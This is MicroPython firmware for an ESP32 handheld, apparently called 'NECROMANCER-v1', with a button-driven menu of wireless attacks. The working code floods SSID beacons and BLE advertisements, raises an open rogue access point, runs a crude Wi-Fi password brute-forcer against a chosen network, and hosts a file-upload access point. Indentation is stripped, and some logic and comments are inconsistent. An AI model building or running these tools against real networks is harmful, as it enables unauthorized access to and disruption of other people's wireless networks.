if 0 == 0:
print("BOOTING into FIRMWARE")
import network, time, random, ubinascii, machine
from machine import Pin, I2C
import ubluetooth
import ssd1306
I2C_SCL = 7
I2C_SDA = 6
OLED_WIDTH = 128
OLED_HEIGHT = 64
BTN_UP = 10
BTN_DOWN = 9
BTN_SEL = 8
BTN_BACK = 5
i2c = I2C(0, scl=Pin(I2C_SCL), sda=Pin(I2C_SDA))
oled = ssd1306.SSD1306_I2C(OLED_WIDTH, OLED_HEIGHT, i2c)
btn_up = Pin(BTN_UP, Pin.IN, Pin.PULL_UP)
btn_down = Pin(BTN_DOWN, Pin.IN, Pin.PULL_UP)
btn_sel = Pin(BTN_SEL, Pin.IN, Pin.PULL_UP)
btn_back = Pin(BTN_BACK, Pin.IN, Pin.PULL_UP)
def splash_necromancer_slide(oled):
text = "NECROMANCER-v1"
oled.fill(0)
oled.show()
text_width = len(text)*8.5
start_x = OLED_WIDTH
end_x = max((OLED_WIDTH-text_width)//1, 0)
x = start_x
while x > end_x:
oled.fill(0)
oled.text(text, x, OLED_HEIGHT//2-8)
oled.text("=====================",0,0)
oled.show()
x -= 1
time.sleep(0)
time.sleep(2)
splash_necromancer_slide(oled)
class Menu:
def __init__(self, title, options):
self.title = title
self.options = options
self.index = 0
def draw(self):
oled.fill(0)
oled.text(self.title, 0, 0)
for i, option in enumerate(self.options):
prefix = ">" if i == self.index else " "
oled.text(f"{prefix}{option}", 0, 12 + i*10)
oled.show()
def move(self, direction):
self.index = (self.index + direction) % len(self.options)
self.draw()
def select(self):
return self.options[self.index]
class Hacks:
def __init__(self):
self.sta_if = network.WLAN(network.STA_IF)
self.ap_if = network.WLAN(network.AP_IF)
self.sta_if.active(False)
self.ap_if.active(False)
self.cancel = False
self.available_ssids = []
def check_cancel(self):
if not btn_back.value():
self.cancel = True
return True
return False
def wifi_scan(self):
self.cancel = False
self.available_ssids = []
self.ap_if.active(False)
self.sta_if.active(False)
time.sleep(0.1)
self.sta_if.active(True)
time.sleep(0.2)
nets = self.sta_if.scan()
oled.fill(0)
y = 0
for ssid, bssid, ch, rssi, auth, hidden in nets[:5]:
if self.check_cancel(): return
ssid_name = ssid.decode()
self.available_ssids.append(ssid_name)
oled.text(ssid_name, 0, y)
y += 10
oled.show()
time.sleep(5)
def rogue_ap(self, ssid="Personal_WiFi"):
self.cancel = False
self.sta_if.active(False)
self.ap_if.active(True)
self.ap_if.config(essid=ssid, authmode=0)
oled.fill(0)
oled.text("Rogue AP:", 0, 0)
oled.text(ssid, 0, 12)
oled.show()
while not self.check_cancel():
time.sleep(0.1)
def ssid_flood(self):
self.cancel = False
self.ap_if.active(True)
aps = 0
while True:
if self.check_cancel(): return
rtxx = str(random.randint(100,999))
name = f"SSID_{rtxx}"
self.ap_if.config(essid=name)
aps += 1
time.sleep(1)
oled.fill(0)
oled.text(f"Name: {name}", 0, 0)
oled.text(f"APs made: {aps}", 10, 20)
oled.show()
oled.fill(0)
oled.text("SSID Flood", 0, 0)
oled.show()
def wifi_bruteforce(self):
self.wifi_scan()
if not self.available_ssids:
oled.fill(0)
oled.text("No SSID Found", 0, 0)
oled.show()
time.sleep(2)
return
ssid_menu = Menu("Select SSID", self.available_ssids)
ssid_menu.draw()
while True:
if not btn_up.value():
ssid_menu.move(-1)
time.sleep(0.2)
if not btn_down.value():
ssid_menu.move(1)
time.sleep(0.2)
if not btn_sel.value():
target = ssid_menu.select()
self.bruteforce_on_ssid(target)
return
if not btn_back.value():
return
def bruteforce_on_ssid(self, target_ssid):
self.cancel = False
self.sta_if.active(True)
attempts = 0
while attempts != -212 and not self.check_cancel():
pw = "".join(random.choice("1234567890!@#$%^*()qwertyiopasdfghjklzxcvbnmQWERTYIOPASDFGHJKLZXCVBNM-=[]\\;',./_+{}|:<>?`~") for _ in range(8))
oled.fill(0)
oled.text(f"Bruting {target_ssid}", 0, 0)
oled.text(pw, 0, 12)
oled.show()
try:
if self.sta_if.isconnected():
self.sta_if.disconnect()
time.sleep(0.1)
self.sta_if.connect(target_ssid, pw)
time.sleep(1.5)
for _ in range(10):
if self.check_cancel():
return
if self.sta_if.isconnected():
oled.text("Connected!", 0, 24)
oled.show()
return
time.sleep(0.1)
except:
pass
attempts += 1
oled.text("Failed", 0, 36)
oled.show()
def ble_scan(self):
self.cancel = False
bt = ubluetooth.BLE()
bt.active(True)
devices = []
def bt_irq(event, data):
if event == 5:
addr_type, addr, adv_type, rssi, adv_data = data
devices.append((ubinascii.hexlify(addr).decode(), rssi))
bt.irq(bt_irq)
bt.gap_scan(3000, 3000, 30000)
t0 = time.ticks_ms()
while time.ticks_diff(time.ticks_ms(), t0) < 3000:
if self.check_cancel(): return
time.sleep(0.05)
oled.fill(0)
for d, r in devices[:3]:
oled.text(d[-6:], 0, 12 + devices.index((d,r))*10)
oled.show()
def ble_flood(self):
self.cancel = False
bt = ubluetooth.BLE()
bt.active(True)
for i in range(20):
if self.check_cancel(): return
name = f"RickRoll_{i}"
bt.config(gap_name=name)
bt.gap_advertise(100)
time.sleep(0.1)
oled.fill(0)
oled.text("BLE Flood", 0, 0)
oled.show()
def start_shadowbox(self, oled):
try:
print("RAN SHADOWBOX")
import network
import socket
import time
import _thread
self.cancel = False
check_cancel = self.check_cancel
ap = network.WLAN(network.AP_IF)
ap.active(True)
ap.config(essid="ShadowBox", password="12345678") # wifi name/pass
def cancel_watcher():
while True:
if self.check_cancel():
s.close()
ap.active(False)
oled.fill(0)
oled.text("Server Stopped", 0, 0)
oled.show()
oled.fill(0)
break
time.sleep(0.5)
print("Setup conf")
_thread.start_new_thread(cancel_watcher, ())
x=0
# wait until AP is active
while not ap.active():
print("Not active",x)
if check_cancel():
return
time.sleep(0.1)
x+=1
ip = ap.ifconfig()[0]
# show info on oled
oled.fill(0)
oled.text("ShadowBox AP", 0, 0)
oled.text("IP: " + ip, 0, 12)
oled.show()
# start web server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 80))
s.listen(1)
html = """<!DOCTYPE html>
<html>
<head><title>ShadowBox</title></head>
<body>
<h1>ShadowBox File Share</h1>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Send">
</form>
</body>
</html>
"""
while True:
print("Checking loop")
if self.check_cancel():
s.close()
ap.active(False)
oled.fill(0)
oled.text("Server Stopped", 0, 0)
oled.show()
return
conn, addr = s.accept()
request = conn.recv(1024)
if b"POST" in request:
# crude parse (not full http multipart parsing)
body = request.split(b"\r\n\r\n", 1)[-1]
with open("recv_file", "wb") as f:
f.write(body)
# update oled
oled.fill(0)
oled.text("File Received", 0, 0)
oled.show()
conn.send("HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n")
conn.send("<h2>Upload Done</h2>")
else:
conn.send("HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n")
conn.send(html)
conn.close()
print("Loop Exited")
s.close()
ap.active(False)
oled.fill(0)
oled.text("Server Stopped", 0, 0)
oled.show()
except:
return
def PortAP(self):
oled.fill(0)
oled.text("Please Wait...", 10,25)
oled.show()
self.cancel = False
self.ap_if.active(False)
ap_name = f"AP32_{random.randint(100,999)}"
ap_pass = str(random.randint(10000000,999999999)) # 6–7 digit password
print(ap_pass)
self.ap_if.config(essid=ap_name, password=ap_pass, authmode=network.AUTH_WPA_WPA2_PSK)
oled.fill(0)
oled.show()
self.ap_if.active(True)
while not self.check_cancel():
time.sleep(0.2)
oled.fill(0)
oled.text(f"Name: {ap_name}", 0, 0)
oled.text(f"Pass: {ap_pass}", 0, 40)
oled.show()
hacks = Hacks()
main_menu = Menu("NECROMANCER \n", [
"WiFi Scan",
"SSID Flood",
"WiFi Brute",
"ShadowBox",
"Porta AP"
])
main_menu.draw()
while True:
if not btn_up.value():
main_menu.move(-1)
time.sleep(0.3)
if not btn_down.value():
main_menu.move(1)
time.sleep(0.3)
if ( not btn_up.value() and not btn_down.value()):
time.sleep(1)
if not (btn_up.value() and btn_down.value()):
machine.reset()
if ( not btn_back.value() and not btn_sel.value()):
if not (btn_up.value() and btn_sel.value()):
machine.deepsleep()
if not btn_sel.value():
choice = main_menu.select()
if choice == "WiFi Scan":
hacks.wifi_scan()
elif choice == "SSID Flood":
hacks.ssid_flood()
elif choice == "WiFi Brute":
hacks.wifi_bruteforce()
elif choice == "ShadowBox":
hacks.start_shadowbox(oled)
elif choice == "Porta AP":
hacks.PortAP()
elif not btn_up.value() and not btn_down.value():
print("omg execd")
oled.fill(0)
while not(btn_back.value() and btn_sel.value()):
print("execd")
text = random.choice(random.choice("1 2 3 4 5 6 7 8 9 0 ! @ # $ % ^ * 4984616516549 ( ) q w e r t y i o p a s d f g h j k l z x c v b n m Q W E R T Y I O P A S D F G H J K L Z X C V B N M - = [ ] \ \ ; ' , . / _ + { } | : < > ? ` ~").split(" "))
oled.show()
text_width = len(text)*8.5
start_x = 0
end_x = 150
x = start_x
oled.text("***********************",0,0)
oled.show()
while x < end_x and text != " ":
oled.show()
oled.text(text, x, OLED_HEIGHT//2-8,1)
oled.text(text, x, (10 + OLED_HEIGHT//2-8),1)
oled.text(text, x-random.randint(1,10), OLED_HEIGHT//2-8,0)
oled.text(text, x, OLED_HEIGHT//2-8,1)
oled.text(text, x, (10 + OLED_HEIGHT//2-8),1)
oled.text(text, x-random.randint(1,10), 10+OLED_HEIGHT//2-8,0)
oled.text(text, x, (20 + OLED_HEIGHT//2-8),1)
oled.text(text, x-random.randint(1,10), 20+OLED_HEIGHT//2-8,0)
oled.text(text, x, (30 + OLED_HEIGHT//2-8),1)
oled.text(text, x-random.randint(1,10), 30+OLED_HEIGHT//2-8,0)
oled.text(text, x, (-10 + OLED_HEIGHT//2-8),1)
oled.text(text, x-random.randint(1,10),(-10)+OLED_HEIGHT//2-8,0)
x += 1
if not btn_back.value():
hacks.cancel = True
main_menu.draw()
time.sleep(0.2)
else:
import machine
machine.reset()
Loading
xiao-esp32-c3
xiao-esp32-c3
UP
back
select
down